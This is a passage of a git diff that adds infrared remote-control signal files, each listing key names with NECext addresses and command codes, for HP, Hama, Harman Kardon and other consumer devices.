00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 6E 00 00 00 +# +name: KEY_UNKNOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 80 00 00 00 +# +name: KEY_SWITCHVIDEOMODE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir new file mode 100644 index 000000000..dff2e924f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 0C 00 00 00 +# +name: KEY_MEDIA +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 11 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 12 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 15 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 16 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 22 00 00 00 +# +name: KEY_BACKSPACE +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 23 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 24 00 00 00 +# +name: KEY_SWITCHVIDEOMODE +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir new file mode 100644 index 000000000..403cac647 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXTSONG +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUSSONG +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 6E 00 00 00 +# +name: KEY_SWITCHVIDEOMODE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir new file mode 100644 index 000000000..95b7d28e8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: KEY_KPASTERISK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 39 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 6E 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 80 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir new file mode 100644 index 000000000..0e868f51e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: I/II +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: ch\*p/c +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: set +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: tv/av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/HQV/Video Processor/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/HQV/Video Processor/128,-1.ir new file mode 100644 index 000000000..bdb9a5027 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/HQV/Video Processor/128,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 00 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 01 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 02 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 03 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 04 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 06 00 00 00 +# +name: BCE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 07 00 00 00 +# +name: SPLIT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 08 00 00 00 +# +name: FILM +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 09 00 00 00 +# +name: ASPECT_RATIO +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0A 00 00 00 +# +name: TRNR +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0B 00 00 00 +# +name: CNR +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: DVI +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0D 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0E 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0F 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 10 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 11 00 00 00 +# +name: SDI +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 12 00 00 00 +# +name: YPBPR +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 13 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir new file mode 100644 index 000000000..e369d1783 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: Reply +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: Store +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: Browse +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir new file mode 100644 index 000000000..7ce065cb9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_REPLY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_F5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir b/assets/resources/infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir new file mode 100644 index 000000000..83341286c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 81 00 00 00 +# +name: energy_saver +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 82 00 00 00 +# +name: temp_up +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 85 00 00 00 +# +name: temp_down +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 8A 00 00 00 +# +name: fan_speed +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 99 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 9B 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir new file mode 100644 index 000000000..2ebdc1880 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: AVR +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C1 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C4 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C8 00 00 00 +# +name: VID1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VID2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CC 00 00 00 +# +name: VID3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir new file mode 100644 index 000000000..87abfdfb4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 21 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 22 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 22 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir new file mode 100644 index 000000000..6c7ecb278 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 84 74 00 00 +command: C0 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 84 74 00 00 +command: C1 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 84 74 00 00 +command: C2 00 00 00 +# +name: DISC_MENU +type: parsed +protocol: NECext +address: 84 74 00 00 +command: C3 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 84 74 00 00 +command: C4 00 00 00 +# +name: POPUP/TITLE_MENU +type: parsed +protocol: NECext +address: 84 74 00 00 +command: C5 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 84 74 00 00 +command: C6 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 84 74 00 00 +command: C9 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 84 74 00 00 +command: CA 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 84 74 00 00 +command: CB 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 84 74 00 00 +command: CC 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 84 74 00 00 +command: CD 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 84 74 00 00 +command: CE 00 00 00 +# +name: COLOR_A_RED +type: parsed +protocol: NECext +address: 84 74 00 00 +command: CF 00 00 00 +# +name: COLOR_B_GREEN +type: parsed +protocol: NECext +address: 84 74 00 00 +command: D0 00 00 00 +# +name: COLOR_D_BLUE +type: parsed +protocol: NECext +address: 84 74 00 00 +command: D1 00 00 00 +# +name: COLOR_C_YELLOW +type: parsed +protocol: NECext +address: 84 74 00 00 +command: D2 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 84 74 00 00 +command: D3 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 84 74 00 00 +command: D4 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 84 74 00 00 +command: D5 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 84 74 00 00 +command: D6 00 00 00 +# +name: TR_SEARCH_<< +type: parsed +protocol: NECext +address: 84 74 00 00 +command: DA 00 00 00 +# +name: TR_SEARCH_>> +type: parsed +protocol: NECext +address: 84 74 00 00 +command: DB 00 00 00 +# +name: TR_SKIP_<< +type: parsed +protocol: NECext +address: 84 74 00 00 +command: DC 00 00 00 +# +name: TR_SKIP_>> +type: parsed +protocol: NECext +address: 84 74 00 00 +command: DD 00 00 00 +# +name: TR_PLAY +type: parsed +protocol: NECext +address: 84 74 00 00 +command: DE 00 00 00 +# +name: TR_PAUSE +type: parsed +protocol: NECext +address: 84 74 00 00 +command: DF 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 84 74 00 00 +command: E0 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 84 74 00 00 +command: E1 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 84 74 00 00 +command: E2 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 84 74 00 00 +command: E3 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 84 74 00 00 +command: E4 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 84 74 00 00 +command: E5 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 84 74 00 00 +command: E6 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 84 74 00 00 +command: E7 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 84 74 00 00 +command: E8 00 00 